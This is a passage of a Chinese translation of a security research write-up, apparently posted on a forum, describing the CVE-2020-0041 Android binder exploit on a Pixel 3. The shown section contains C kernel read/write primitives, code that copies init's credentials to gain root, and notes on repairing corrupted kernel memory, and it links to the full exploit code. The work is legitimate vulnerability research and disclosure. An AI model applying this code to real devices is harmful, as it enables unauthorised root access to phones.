   *(uint32_t *)(ctl_table_uaddr + 16) = 0x8;

   char buf[100];
   int fd = open(pathname, O_WRONLY);
   if (fd < 0) {
      printf("[!] Failed to open. Errno: %d\n", errno);
   }

   sprintf(buf, "%u %u\n", (uint32_t)value, (uint32_t)(value >> 32));
   int ret = write(fd, buf, strlen(buf));
   if (ret < 0)
      printf("[!] Failed to write, errno: %d\n", errno);
   close(fd);
}

void write32(uint64_t addr, uint32_t value) {
   *(uint64_t *)(ctl_table_uaddr + 8) = addr;          // data == what to read/write
   *(uint32_t *)(ctl_table_uaddr + 16) = 4;

   char buf[100];
   int fd = open(pathname, O_WRONLY);
   sprintf(buf, "%u\n", value);
   write(fd, buf, strlen(buf));
   close(fd);
}

0x08 获得 root 权限

一旦我们在Pixel手机上具有读/写功能,获得root访问权限就像从root任务复制凭据一样简单。由于我们早先已经禁用了SELinux,因此只需要查找初始化凭据,增加其引用计数并将它们复制到我们的进程中,如下所示:

/* Set refcount to 0x100 and set our own credentials to init's */
write32(init_cred, 0x100);
write64(current + REAL_CRED_OFFSET, init_cred);
write64(current + REAL_CRED_OFFSET + 8, init_cred);

if (getuid() != 0) {
   printf("[!!] Something went wrong, we're not root!!\n");
   goto out;
}

但是,还有一些工作要完成,因为我们已经破坏了内核领域的相当多的内存,一旦退出当前进程并执行shell,事情就会崩溃。我们需要修复一些事情:

  • 通过sendmsg重新分配了用于执行写原语的binder_node结构,但在执行写操作时再次将其释放。我们需要确保相应的线程在从sendmsg返回时不会再次释放这些对象。为此解析线程堆栈,并用ZERO_SIZE_PTR替换对这些节点的所有引用。

  • 我们已经修改了f_inode一个的结构文件,它现在指向到一个中间epitem。解决此问题的最简单方法是简单地增加该文件的引用计数,以使永远不会调用release。

  • 在设置读取原语时,我们还破坏了表位本身中的一个字段。此字段是一个链表一个epitem而已,所以我们可以只复制fllist.prev上的fllist.next恢复列表。
  • 我们还在/ proc / sys中添加了一个伪造的条目,可以保留它,但是在那种情况下,它将指向属于我们的漏洞利用的页面,并且现在被内核回收了,我们决定只将其从rb-tree中删除。请注意,这会使该条目从userland中消失,但是内核中仍然有一个缓存的路径,由于我们使用的是随机名称,因此将来很少有人尝试通过直接打开它来访问它。

清除所有这些混乱之后,最终可以执行我们的root shell并看到uid 0而不会导致手机崩溃。

0x09 漏洞利用演示

以下视频显示了使用我们刚刚描述的漏洞从adb shell root手机的过程:

https://static.bluefrostsecurity.de/img/labs/blog/num_valid_root.mp4

 

 

可以在Blue Frost Security GitHub上找到本文和上一篇文章中描述的漏洞利用代码。自2020年2月起,该漏洞仅在使用固件的Pixel 3手机上进行了测试,并且需要针对其他固件进行调整。特别是,漏洞利用中使用了许多内核偏移,以及在内核版本之间可能有所不同的结构偏移。

https://github.com/bluefrostsecurity/CVE-2020-0041/
https://labs.bluefrostsecurity.de/blog/2020/03/31/cve-2020-0041-part-1-sandbox-escape/

原文地址,如有不妥可参考原文:
https://labs.bluefrostsecurity.de/blog/2020/04/08/cve-2020-0041-part-2-escalating-to-root/


2022 KCTF春季赛【最佳人气奖】火热评选中!快来投票吧~

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 9468
活跃值: 活跃值 (9054)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-5-6 19:37
2
0
mark,楼主辛苦了
游客
登录 | 注册 方可回帖
返回